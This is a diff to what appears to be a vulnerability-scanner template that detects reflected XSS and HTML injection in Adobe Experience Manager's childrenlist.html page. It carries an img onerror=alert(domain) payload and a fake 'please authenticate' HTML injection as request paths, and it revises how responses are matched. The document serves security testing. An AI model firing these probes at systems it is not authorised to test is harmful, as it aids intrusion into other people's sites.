XSS & HTML Injection

misconfiguration/aem/aem-childrenlist-xss.yaml

@@ -17,28 +17,24 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/test<br><br>please%20authenticate<br><br>.childrenlist.html"
-      - "{{BaseURL}}/test<img src=x data'a'onerror=alert(domain)>.childrenlist.html"
+      - "{{BaseURL}}/{{rand_base(4)}}<img src=x data'a'onerror=alert(domain)>.childrenlist.html"
+      - "{{BaseURL}}/{{rand_base(4)}}<br><br>please%20authenticate<br><br>.childrenlist.html"
 
-    matchers-condition: and
+    stop-at-first-match: true
+    matchers-condition: or
     matchers:
       - type: word
         part: body
+        name: xss
         words:
           - '<img src="x" data onerror="alert(domain)"/>'
-          - '<br /><br />please authenticate<br /><br />'
-        condition: or
+          - 'data-coral-columnview-id'
+        condition: and
 
       - type: word
         part: body
+        name: html
         words:
+          - '<br /><br />please authenticate<br /><br />'
           - 'data-coral-columnview-id'
-
-      - type: word
-        part: content_type
-        words:
-          - 'text/html'
-
-      - type: status
-        status:
-          - 200
+        condition: and